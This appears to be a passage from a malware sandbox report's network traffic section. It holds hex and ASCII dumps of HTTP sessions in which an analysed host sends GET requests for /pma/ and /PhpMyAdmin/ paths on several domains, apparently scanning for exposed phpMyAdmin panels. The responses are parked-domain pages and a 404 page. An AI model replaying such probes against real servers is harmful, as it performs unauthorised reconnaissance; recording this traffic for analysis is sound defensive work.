61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d Data Ascii: b12b<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentm
Dec 2, 2023 18:04:43.084148884 CET	1274	IN	Data Raw: 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f 64 65 73 Data Ascii: anager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR",
Dec 2, 2023 18:04:43.084172964 CET	1274	IN	Data Raw: 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e 64 6f 77 Data Ascii: pperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLangu
Dec 2, 2023 18:04:43.084186077 CET	1274	IN	Data Raw: 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a 22 7d 76 Data Ascii: k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_desig
Dec 2, 2023 18:04:43.084357977 CET	1274	IN	Data Raw: 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 64 65 62 Data Ascii: th==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a==
Dec 2, 2023 18:04:43.191230059 CET	1274	IN	Data Raw: 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3b Data Ascii: eout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.subs
Dec 2, 2023 18:04:43.191245079 CET	1274	IN	Data Raw: 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 2e 71 7d Data Ascii: pstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|[];
Dec 2, 2023 18:04:43.191258907 CET	1274	IN	Data Raw: 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d 69 66 28 Data Ascii: ,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue:h,
Dec 2, 2023 18:04:43.191273928 CET	1274	IN	Data Raw: 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 Data Ascii: window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)
Dec 2, 2023 18:04:43.297810078 CET	1274	IN	Data Raw: 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 Data Ascii: t="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=bFh3Z2pSRlRVaVFqRFhkYjUyWHFPbUovMmJUcTBSYWluR3kySFd1MXdtMjhSOXJpbWhDQUlzejYzNGk2b0I3OTk2a0lJMnhjN1lObzAwSHZCM2tFemFJMEh2TjRTWVV0dlpOMGJNRXdlc1RhMXJQN0diNF
Dec 2, 2023 18:04:43.297826052 CET	1274	IN	Data Raw: 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 22 Data Ascii: _media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-re

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	61128	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.806332111 CET	222	OUT	GET /pma/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.249928951 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:42 GMT Server: Apache Set-Cookie: vsid=935vr449082282901487865; expires=Thu, 30-Nov-2028 17:04:42 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 4c 64 32 43 61 2b 33 77 46 36 6d 49 31 49 53 6e 41 62 72 5a 41 38 44 38 71 4a 41 6b 46 49 76 7a 79 64 6c 30 2f 6f 43 7a 38 4c 39 35 33 36 4d 67 37 39 36 4c 4d 4b 68 4f 70 67 46 31 4f 4d 59 77 49 48 6b 76 59 35 4c 31 4e 48 72 55 39 69 38 33 4a 41 76 62 33 41 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 Data Ascii: 4b99<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Ld2Ca+3wF6mI1ISnAbrZA8D8qJAkFIvzydl0/oCz8L9536Mg796LMKhOpgF1OMYwIHkvY5L1NHrU9i83JAvb3A==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>furnscales.com</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px;dis
Dec 2, 2023 18:04:43.249977112 CET	1274	IN	Data Raw: 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e Data Ascii: play: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatings a:l
Dec 2, 2023 18:04:43.249990940 CET	1274	IN	Data Raw: 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 Data Ascii: 17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padding-bo
Dec 2, 2023 18:04:43.250005007 CET	1274	IN	Data Raw: 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 Data Ascii: ght:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-sizing:bo
Dec 2, 2023 18:04:43.250039101 CET	1274	IN	Data Raw: 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 73 74 65 72 2f 5f 6a 63 72 Data Ascii: w.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="furnscales.com expired on and is pending renewal
Dec 2, 2023 18:04:43.250053883 CET	1274	IN	Data Raw: 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 74 65 78 74 2d 63 6f 6c 6f 72 22 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 20 65 78 70 69 72 65 64 20 6f 6e 20 20 61 6e 64 20 69 73 20 70 65 6e 64 69 6e 67 20 72 65 6e 65 77 61 6c 20 Data Ascii: <span class="header-text-color">furnscales.com expired on and is pending renewal or deletion.</span> </div> <div style="grid-column: 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?c
Dec 2, 2023 18:04:43.250067949 CET	1274	IN	Data Raw: 6d 59 77 4d 54 59 32 59 6a 6c 69 4d 57 56 6c 4e 32 4a 68 4d 6a 59 79 4f 44 63 35 4d 6d 55 79 4f 47 55 78 4f 44 4e 6c 4d 32 55 30 4d 6d 55 34 4d 32 4d 79 4f 54 41 30 4d 57 52 69 59 7a 45 25 33 44 2a 22 3e 52 65 76 69 65 77 20 6f 75 72 20 50 72 69 Data Ascii: mYwMTY2YjliMWVlN2JhMjYyODc5MmUyOGUxODNlM2U0MmU4M2MyOTA0MWRiYzE%3D*">Review our Privacy Policy</a><br><br><a href="https://assets.web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.ne
Dec 2, 2023 18:04:43.250135899 CET	1274	IN	Data Raw: 70 61 72 65 6e 74 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 27 3a 20 27 23 30 62 33 32 37 39 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 78 74 27 3a 20 Data Ascii: parent', 'colorSearchButton': '#0b3279', 'colorSearchButtonText': '#fff' }; </script><script type="text/javascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY4My4wNzc5OmFiZWYxNG
Dec 2, 2023 18:04:43.250149012 CET	1274	IN	Data Raw: 6c 6c 65 64 41 72 67 75 6d 65 6e 74 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 76 61 72 20 70 61 67 65 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 20 20 20 20 27 70 75 62 49 64 27 3a 20 27 64 70 2d 74 65 61 6d 69 6e 74 65 72 6e 65 74 30 31 27 2c 0a 20 20 20 20 Data Ascii: lledArguments = false;var pageOptions = { 'pubId': 'dp-teaminternet01', 'resultsPageBaseUrl': '//' + location.host + '/?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'cli
Dec 2, 2023 18:04:43.250163078 CET	1274	IN	Data Raw: 69 6e 65 72 4e 61 6d 65 20 69 6e 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 61 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 61 69 6e 65 72 4e Data Ascii: inerName in containerNames) { var data = { containerName: containerName, adsLoaded: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOpti
Dec 2, 2023 18:04:43.356579065 CET	1274	IN	Data Raw: 73 2e 65 72 72 6f 72 63 6f 64 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f 63 6f 64 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6a 61 78 51 75 65 72 79 28 73 63 72 Data Ascii: s.errorcode; } if (status.error_code) { ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURICompon

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	59062	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.830728054 CET	224	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.167273998 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:31 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, 